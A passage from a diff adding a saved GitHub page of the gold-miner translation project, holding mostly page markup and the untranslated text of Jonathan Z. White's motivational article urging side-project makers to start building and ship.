+        Unstar
+      </button>
+        <a class="social-count js-social-count" href="/xitu/gold-miner/stargazers"
+           aria-label="6974 users starred this repository">
+          6,974
+        </a>
+</form>
+    <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/xitu/gold-miner/star" class="unstarred" data-remote="true" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="U92FB2VJVGegV1HwfmmfxnvT55FLhzhRyx9MLmgaytM3pABnjQSOb7B1Op2UzI0ZwDfUkIa/HnZAq5QoJWawPg==" /></div>
+      <button
+        type="submit"
+        class="btn btn-sm btn-with-count js-toggler-target"
+        aria-label="Star this repository" title="Star xitu/gold-miner"
+        data-ga-click="Repository, click star button, action:blob#show; text:Star">
+        <svg aria-hidden="true" class="octicon octicon-star" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74z"/></svg>
+        Star
+      </button>
+        <a class="social-count js-social-count" href="/xitu/gold-miner/stargazers"
+           aria-label="6974 users starred this repository">
+          6,974
+        </a>
+</form>  </div>
+
+  </li>
+
+  <li>
+          <a href="#fork-destination-box" class="btn btn-sm btn-with-count"
+              title="Fork your own copy of xitu/gold-miner to your account"
+              aria-label="Fork your own copy of xitu/gold-miner to your account"
+              rel="facebox"
+              data-ga-click="Repository, show fork modal, action:blob#show; text:Fork">
+              <svg aria-hidden="true" class="octicon octicon-repo-forked" height="16" version="1.1" viewBox="0 0 10 16" width="10"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 0 0-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 0 0 2 1a1.993 1.993 0 0 0-1 3.72V6.5l3 3v1.78A1.993 1.993 0 0 0 5 15a1.993 1.993 0 0 0 1-3.72V9.5l3-3V4.72A1.993 1.993 0 0 0 8 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"/></svg>
+            Fork
+          </a>
+
+          <div id="fork-destination-box" style="display: none;">
+            <h2 class="facebox-header" data-facebox-id="facebox-header">Where should we fork this repository?</h2>
+            <include-fragment src=""
+                class="js-fork-select-fragment fork-select-fragment"
+                data-url="/xitu/gold-miner/fork?fragment=1">
+              <img alt="Loading" height="64" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-128.gif" width="64" />
+            </include-fragment>
+          </div>
+
+    <a href="/xitu/gold-miner/network" class="social-count"
+       aria-label="1335 users forked this repository">
+      1,335
+    </a>
+  </li>
+</ul>
+
+      <h1 class="public ">
+  <svg aria-hidden="true" class="octicon octicon-repo" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg>
+  <span class="author" itemprop="author"><a href="/xitu" class="url fn" rel="author">xitu</a></span><!--
+--><span class="path-divider">/</span><!--
+--><strong itemprop="name"><a href="/xitu/gold-miner" data-pjax="#js-repo-pjax-container">gold-miner</a></strong>
+
+</h1>
+
+    </div>
+    <div class="container">
+      
+<nav class="reponav js-repo-nav js-sidenav-container-pjax"
+     itemscope
+     itemtype="http://schema.org/BreadcrumbList"
+     role="navigation"
+     data-pjax="#js-repo-pjax-container">
+
+  <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement">
+    <a href="/xitu/gold-miner" class="js-selected-navigation-item selected reponav-item" data-hotkey="g c" data-selected-links="repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches /xitu/gold-miner" itemprop="url">
+      <svg aria-hidden="true" class="octicon octicon-code" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14 8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z"/></svg>
+      <span itemprop="name">Code</span>
+      <meta itemprop="position" content="1">
+</a>  </span>
+
+    <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement">
+      <a href="/xitu/gold-miner/issues" class="js-selected-navigation-item reponav-item" data-hotkey="g i" data-selected-links="repo_issues repo_labels repo_milestones /xitu/gold-miner/issues" itemprop="url">
+        <svg aria-hidden="true" class="octicon octicon-issue-opened" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"/></svg>
+        <span itemprop="name">Issues</span>
+        <span class="counter">46</span>
+        <meta itemprop="position" content="2">
+</a>    </span>
+
+  <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement">
+    <a href="/xitu/gold-miner/pulls" class="js-selected-navigation-item reponav-item" data-hotkey="g p" data-selected-links="repo_pulls /xitu/gold-miner/pulls" itemprop="url">
+      <svg aria-hidden="true" class="octicon octicon-git-pull-request" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M11 11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3 3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0 0 10 15a1.993 1.993 0 0 0 1-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1 3.72v6.56A1.993 1.993 0 0 0 2 15a1.993 1.993 0 0 0 1-3.72V4.72c.59-.34 1-.98 1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"/></svg>
+      <span itemprop="name">Pull requests</span>
+      <span class="counter">15</span>
+      <meta itemprop="position" content="3">
+</a>  </span>
+
+    <a href="/xitu/gold-miner/projects" class="js-selected-navigation-item reponav-item" data-selected-links="repo_projects new_repo_project repo_project /xitu/gold-miner/projects">
+      <svg aria-hidden="true" class="octicon octicon-project" height="16" version="1.1" viewBox="0 0 15 16" width="15"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg>
+      Projects
+      <span class="counter">0</span>
+</a>
+    <a href="/xitu/gold-miner/wiki" class="js-selected-navigation-item reponav-item" data-hotkey="g w" data-selected-links="repo_wiki /xitu/gold-miner/wiki">
+      <svg aria-hidden="true" class="octicon octicon-book" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M3 5h4v1H3V5zm0 3h4V7H3v1zm0 2h4V9H3v1zm11-5h-4v1h4V5zm0 2h-4v1h4V7zm0 2h-4v1h4V9zm2-6v9c0 .55-.45 1-1 1H9.5l-1 1-1-1H2c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1h5.5l1 1 1-1H15c.55 0 1 .45 1 1zm-8 .5L7.5 3H2v9h6V3.5zm7-.5H9.5l-.5.5V12h6V3z"/></svg>
+      Wiki
+</a>
+
+  <a href="/xitu/gold-miner/pulse" class="js-selected-navigation-item reponav-item" data-selected-links="pulse /xitu/gold-miner/pulse">
+    <svg aria-hidden="true" class="octicon octicon-pulse" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M11.5 8L8.8 5.4 6.6 8.5 5.5 1.6 2.38 8H0v2h3.6l.9-1.8.9 5.4L9 8.5l1.6 1.5H14V8z"/></svg>
+    Pulse
+</a>
+  <a href="/xitu/gold-miner/graphs" class="js-selected-navigation-item reponav-item" data-selected-links="repo_graphs repo_contributors /xitu/gold-miner/graphs">
+    <svg aria-hidden="true" class="octicon octicon-graph" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4 0H7V3h2v10zm4 0h-2V6h2v7z"/></svg>
+    Graphs
+</a>
+
+</nav>
+
+    </div>
+  </div>
+
+<div class="container new-discussion-timeline experiment-repo-nav">
+  <div class="repository-content">
+
+    
+          
+
+<a href="/xitu/gold-miner/blob/c7230b4ac0ba734d2c4062851c97149fcf7a2270/TODO/nothing-will-change-until-you-start-building.md" class="d-none js-permalink-shortcut" data-hotkey="y">Permalink</a>
+
+<!-- blob contrib key: blob_contributors:v21:c4c0c50c5d6e234eb6b94bc9f01381ab -->
+
+<div class="file-navigation js-zeroclipboard-container">
+  
+<div class="select-menu branch-select-menu js-menu-container js-select-menu float-left">
+  <button class=" btn btn-sm select-menu-button js-menu-target css-truncate" data-hotkey="w"
+    
+    type="button" aria-label="Switch branches or tags" tabindex="0" aria-haspopup="true">
+      <i>Branch:</i>
+      <span class="js-select-button css-truncate-target">master</span>
+  </button>
+
+  <div class="select-menu-modal-holder js-menu-content js-navigation-container" data-pjax>
+
+    <div class="select-menu-modal">
+      <div class="select-menu-header">
+        <svg aria-label="Close" class="octicon octicon-x js-menu-close" height="16" role="img" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z"/></svg>
+        <span class="select-menu-title">Switch branches/tags</span>
+      </div>
+
+      <div class="select-menu-filters">
+        <div class="select-menu-text-filter">
+          <input type="text" aria-label="Filter branches/tags" id="context-commitish-filter-field" class="form-control js-filterable-field js-navigation-enable" placeholder="Filter branches/tags">
+        </div>
+        <div class="select-menu-tabs">
+          <ul>
+            <li class="select-menu-tab">
+              <a href="#" data-tab-filter="branches" data-filter-placeholder="Filter branches/tags" class="js-select-menu-tab" role="tab">Branches</a>
+            </li>
+            <li class="select-menu-tab">
+              <a href="#" data-tab-filter="tags" data-filter-placeholder="Find a tag…" class="js-select-menu-tab" role="tab">Tags</a>
+            </li>
+          </ul>
+        </div>
+      </div>
+
+      <div class="select-menu-list select-menu-tab-bucket js-select-menu-tab-bucket" data-tab-filter="branches" role="menu">
+
+        <div data-filterable-for="context-commitish-filter-field" data-filterable-type="substring">
+
+
+            <a class="select-menu-item js-navigation-item js-navigation-open selected"
+               href="/xitu/gold-miner/blob/master/TODO/nothing-will-change-until-you-start-building.md"
+               data-name="master"
+               data-skip-pjax="true"
+               rel="nofollow">
+              <svg aria-hidden="true" class="octicon octicon-check select-menu-item-icon" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
+              <span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
+                master
+              </span>
+            </a>
+        </div>
+
+          <div class="select-menu-no-results">Nothing to show</div>
+      </div>
+
+      <div class="select-menu-list select-menu-tab-bucket js-select-menu-tab-bucket" data-tab-filter="tags">
+        <div data-filterable-for="context-commitish-filter-field" data-filterable-type="substring">
+
+
+        </div>
+
+        <div class="select-menu-no-results">Nothing to show</div>
+      </div>
+
+    </div>
+  </div>
+</div>
+
+  <div class="BtnGroup float-right">
+    <a href="/xitu/gold-miner/find/master"
+          class="js-pjax-capture-input btn btn-sm BtnGroup-item"
+          data-pjax
+          data-hotkey="t">
+      Find file
+    </a>
+    <button aria-label="Copy file path to clipboard" class="js-zeroclipboard btn btn-sm BtnGroup-item tooltipped tooltipped-s" data-copied-hint="Copied!" type="button">Copy path</button>
+  </div>
+  <div class="breadcrumb js-zeroclipboard-target">
+    <span class="repo-root js-repo-root"><span class="js-path-segment"><a href="/xitu/gold-miner"><span>gold-miner</span></a></span></span><span class="separator">/</span><span class="js-path-segment"><a href="/xitu/gold-miner/tree/master/TODO"><span>TODO</span></a></span><span class="separator">/</span><strong class="final-path">nothing-will-change-until-you-start-building.md</strong>
+  </div>
+</div>
+
+
+
+  <div class="commit-tease">
+      <span class="float-right">
+        <a class="commit-tease-sha" href="/xitu/gold-miner/commit/e1c20be99f149fe407434f3b26ff388cbf3dc9fa" data-pjax>
+          e1c20be
+        </a>
+        <relative-time datetime="2017-03-31T03:11:10Z">Mar 30, 2017</relative-time>
+      </span>
+      <div>
+        <img alt="@sqrthree" class="avatar" height="20" src="https://avatars2.githubusercontent.com/u/8622362?v=3&amp;s=40" width="20" />
+        <a href="/sqrthree" class="user-mention" rel="contributor">sqrthree</a>
+          <a href="/xitu/gold-miner/commit/e1c20be99f149fe407434f3b26ff388cbf3dc9fa" class="message" data-pjax="true" title="fix typos">fix typos</a>
+      </div>
+
+    <div class="commit-tease-contributors">
+      <button type="button" class="btn-link muted-link contributors-toggle" data-facebox="#blob_contributors_box">
+        <strong>1</strong>
+         contributor
+      </button>
+      
+    </div>
+
+    <div id="blob_contributors_box" style="display:none">
+      <h2 class="facebox-header" data-facebox-id="facebox-header">Users who have contributed to this file</h2>
+      <ul class="facebox-user-list" data-facebox-id="facebox-description">
+          <li class="facebox-user-list-item">
+            <img alt="@sqrthree" height="24" src="https://avatars0.githubusercontent.com/u/8622362?v=3&amp;s=48" width="24" />
+            <a href="/sqrthree">sqrthree</a>
+          </li>
+      </ul>
+    </div>
+  </div>
+
+<div class="file">
+  <div class="file-header">
+  <div class="file-actions">
+
+    <div class="BtnGroup">
+      <a href="/xitu/gold-miner/raw/master/TODO/nothing-will-change-until-you-start-building.md" class="btn btn-sm BtnGroup-item" id="raw-url">Raw</a>
+        <a href="/xitu/gold-miner/blame/master/TODO/nothing-will-change-until-you-start-building.md" class="btn btn-sm js-update-url-with-hash BtnGroup-item" data-hotkey="b">Blame</a>
+      <a href="/xitu/gold-miner/commits/master/TODO/nothing-will-change-until-you-start-building.md" class="btn btn-sm BtnGroup-item" rel="nofollow">History</a>
+    </div>
+
+        <a class="btn-octicon tooltipped tooltipped-nw"
+           href="https://mac.github.com"
+           aria-label="Open this file in GitHub Desktop"
+           data-ga-click="Repository, open with desktop, type:mac">
+            <svg aria-hidden="true" class="octicon octicon-device-desktop" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M15 2H1c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h5.34c-.25.61-.86 1.39-2.34 2h8c-1.48-.61-2.09-1.39-2.34-2H15c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm0 9H1V3h14v8z"/></svg>
+        </a>
+
+        <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/xitu/gold-miner/edit/master/TODO/nothing-will-change-until-you-start-building.md" class="inline-form js-update-url-with-hash" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="5XYfK4zhbDKdWmsworakoK6uJxK5PXVEzh/XAj06fgXScKQN2D18F0Ligg35nzh0zD9LWCX1rt+B1MDaSdwtJA==" /></div>
+          <button class="btn-octicon tooltipped tooltipped-nw" type="submit"
+            aria-label="Edit the file in your fork of this project" data-hotkey="e" data-disable-with>
+            <svg aria-hidden="true" class="octicon octicon-pencil" height="16" version="1.1" viewBox="0 0 14 16" width="14"><path fill-rule="evenodd" d="M0 12v3h3l8-8-3-3-8 8zm3 2H1v-2h1v1h1v1zm10.3-9.3L12 6 9 3l1.3-1.3a.996.996 0 0 1 1.41 0l1.59 1.59c.39.39.39 1.02 0 1.41z"/></svg>
+          </button>
+</form>        <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="/xitu/gold-miner/delete/master/TODO/nothing-will-change-until-you-start-building.md" class="inline-form" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="2nWumd+74wD3msFyFV4nr1+pbxK1P6DcAT0vzBtlQFfNPqEcNXt9klQmV9C/QuZTbnYdgsAlGoFBNBRAZuwFyw==" /></div>
+          <button class="btn-octicon btn-octicon-danger tooltipped tooltipped-nw" type="submit"
+            aria-label="Delete the file in your fork of this project" data-disable-with>
+            <svg aria-hidden="true" class="octicon octicon-trashcan" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M11 2H9c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1H2c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1v9c0 .55.45 1 1 1h7c.55 0 1-.45 1-1V5c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm-1 12H3V5h1v8h1V5h1v8h1V5h1v8h1V5h1v9zm1-10H2V3h9v1z"/></svg>
+          </button>
+</form>  </div>
+
+  <div class="file-info">
+      91 lines (47 sloc)
+      <span class="file-info-divider"></span>
+    7.52 KB
+  </div>
+</div>
+
+  
+  <div id="readme" class="readme blob instapaper_body">
+    <article class="markdown-body entry-content" itemprop="text"><blockquote>
+<ul>
+<li>原文地址：<a href="https://medium.freecodecamp.com/nothing-will-change-until-you-start-building-2681e85e7bdc">Nothing will change until you start building.</a></li>
+<li>原文作者：<a href="https://medium.freecodecamp.com/@JonathanZWhite?source=post_header_lockup">Jonathan Z. White</a></li>
+<li>译文出自：<a href="https://github.com/xitu/gold-miner">掘金翻译计划</a></li>
+<li>译者：</li>
+<li>校对者：</li>
+</ul>
+</blockquote>
+<hr>
+<p><a href="https://camo.githubusercontent.com/7cb6139a0d4bcfdbcb42a8ba19fb50647b190b8d/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f313030302f312a457748706e435a373046744a4d692d6c4e536c2d39512e706e67" target="_blank"><img src="https://camo.githubusercontent.com/7cb6139a0d4bcfdbcb42a8ba19fb50647b190b8d/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f313030302f312a457748706e435a373046744a4d692d6c4e536c2d39512e706e67" alt="" data-canonical-src="https://cdn-images-1.medium.com/max/1000/1*EwHpnCZ70FtJMi-lNSl-9Q.png" style="max-width:100%;"></a></p>
+<h1><a id="user-content-nothing-will-change-until-you-start-building" class="anchor" href="#nothing-will-change-until-you-start-building" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nothing will change until you start building.</h1>
+<p>This past week, I was in a Lyft. My driver was telling me about all of her ideas for side projects. She had ideas for a children’s book, an app that helps people find parking, and a more efficient way to package gifts. The problem was she was frozen by indecision. She had the ideas but she didn’t know where to start.</p>
+<p>This is what I told her. <strong>Start by building. Pick one project and do whatever you have to do to ship it.</strong> If you want to write a book, start with writing a page a day. If you want to build an app, start with some sketches. Anyone can do it.</p>
+<p>This advice applies to all creators. Once you start building and launching your projects, you won’t be able to stop. Building will become part of your identity. And even if your project fails, you’ll keep at it.</p>
+<p>The steps you take today will compound over time. Look at great product makers like <a href="https://twitter.com/drewwilson">Drew Wilson</a>, <a href="https://twitter.com/levelsio?">Pieter Levels</a>, and <a href="https://twitter.com/Sebyddd">Sebastian Dobrincu</a>. <strong>They don’t wait for the right opportunity.</strong> They build and ship weekly.</p>
+<p>In an interview on <a href="https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics">IndieHackers</a>, <a href="https://twitter.com/Shpigford">Josh Pigford</a> disclosed that before he built Baremetrics, he had iterated through a <em>hundred</em> failed ideas. Today, Baremetrics makes over 60,000 in monthly recurring revenue.</p>
+<p><a href="https://camo.githubusercontent.com/be82f0bdb1d430e3a974b37172a1da48f58f2f72/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a427a6d566171414b457a4e527962556d4d594f7864412e706e67" target="_blank"><img src="https://camo.githubusercontent.com/be82f0bdb1d430e3a974b37172a1da48f58f2f72/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a427a6d566171414b457a4e527962556d4d594f7864412e706e67" alt="" data-canonical-src="https://cdn-images-1.medium.com/max/800/1*BzmVaqAKEzNRybUmMYOxdA.png" style="max-width:100%;"></a></p>
+<p>With that in mind, here are some tactics I’ve compiled from friends and acquaintances who are successful product makers.</p>
+<hr>
+<h3><a id="user-content-1-define-your-goal" class="anchor" href="#1-define-your-goal" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>1. Define your goal</h3>
+<p>Early on, figure out the main goal of your project. If you want to break out of your usual design style, focus on the design. If you want to test a new framework for your front-end, focus on the code. If you want to acquire a hundred users, focus on selling.</p>
+<p><strong>Define your goal early so you don’t get distracted and end up not achieving what you set out to do.</strong> Perhaps your project doesn’t become the next Snapchat, but by working towards your goal you will have honed the tools in your product-making arsenal. Little by little, you’ll be able to design, code, and sell faster and more efficiently.</p>
+<h3><a id="user-content-2-stay-on-track" class="anchor" href="#2-stay-on-track" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>2. Stay on track</h3>
+<p>Sometimes product makers fail to ship because they lose motivation. <strong>Set small goals; meeting those goals will help you build momentum.</strong> Small wins will compound.</p>
+<p><a href="https://camo.githubusercontent.com/dd872403ce14df3e4a0b8f0b00466da08f100f79/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a4553696c6453565453534f6e4658474478442d6c39772e706e67" target="_blank"><img src="https://camo.githubusercontent.com/dd872403ce14df3e4a0b8f0b00466da08f100f79/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a4553696c6453565453534f6e4658474478442d6c39772e706e67" alt="" data-canonical-src="https://cdn-images-1.medium.com/max/800/1*ESildSVTSSOnFXGDxD-l9w.png" style="max-width:100%;"></a></p>
+<p>Another thing you can do to stay on track is to be more public about your work. Share your progress online and with your peers. People love to see things like wireframes and will often times provide valuable input.</p>
+<p>One trick that I find particularly motivating is making bets with friends. I tell them, if I don’t complete a task by a deadline, I’ll give them a hundred dollars. For example, I might set my task to getting twenty people to pay me within two weeks of launching a project.</p>
+<h3><a id="user-content-3-solve-a-problem" class="anchor" href="#3-solve-a-problem" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>3. Solve a problem</h3>
+<p>Start by solving a problem. If you have experienced the problem yourself, even better. Ask your friends what kind of problems they experience.</p>
+<p>For example, I built <a href="http://jonathanzwhite.github.io/yc-careers/">YC Careers</a> and <a href="https://atomspace.co/">AtomSpace</a> to address the needs of one my friends who was having trouble applying to jobs and interviewing as a product designer. Overnight, YC Careers made it to the top of <a href="https://www.producthunt.com/posts/yc-careers">ProductHunt</a> and AtomSpace booked $100 dollars from strangers within 6 hours of going live.</p>
+<p><strong>The bigger the pain point you’re trying to solve, the easier it will be to find users.</strong></p>
+<p>Also, analyze problem-solutions from multiple perspectives. Some successful ideas might seem like a solution without a problem. For example, Instagram doesn’t seem to solve any immediate problem. But it does. Instagram solves the need for friends to stay updated on one another. If this need is not met, then it becomes a problem.</p>
+<p>For further reading, <a href="https://amasad.me/carmack">John Carmack on Idea Generation</a> and <a href="http://paulgraham.com/startupideas.html">How to Get Startup Ideas</a> are two great essays to get you started.</p>
+<h3><a id="user-content-4-ditch-the-good-idea--bad-idea-mindset" class="anchor" href="#4-ditch-the-good-idea--bad-idea-mindset" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>4. Ditch the “good idea / bad idea” mindset</h3>
+<p>Once you’ve identified a problem and come up with a solution, you’ll probably ask yourself if your idea is good.</p>
+<p><strong>Plenty of seemingly bad ideas have turned out to be great businesses.</strong> For example, no one wanted to invest in Airbnb. Brian Chesky, one of the co-founders of Airbnb, detailed their rejections in his essay <a href="https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz">7 Rejections</a>.</p>
+<p><a href="https://camo.githubusercontent.com/f92ba5185615b9f8fe9b2967de61ffed64fd1f54/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a57707855784d434f2d374e58722d6f31796f303233672e706e67" target="_blank"><img src="https://camo.githubusercontent.com/f92ba5185615b9f8fe9b2967de61ffed64fd1f54/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a57707855784d434f2d374e58722d6f31796f303233672e706e67" alt="" data-canonical-src="https://cdn-images-1.medium.com/max/800/1*WpxUxMCO-7NXr-o1yo023g.png" style="max-width:100%;"></a></p>
+<p>The only way to know for sure if your idea will work is to formulate a product hypothesis and run an experiment to test it. Talk to people and ask if they are interested in your solution. If you can get them to pay you before you’ve built anything, even better.</p>
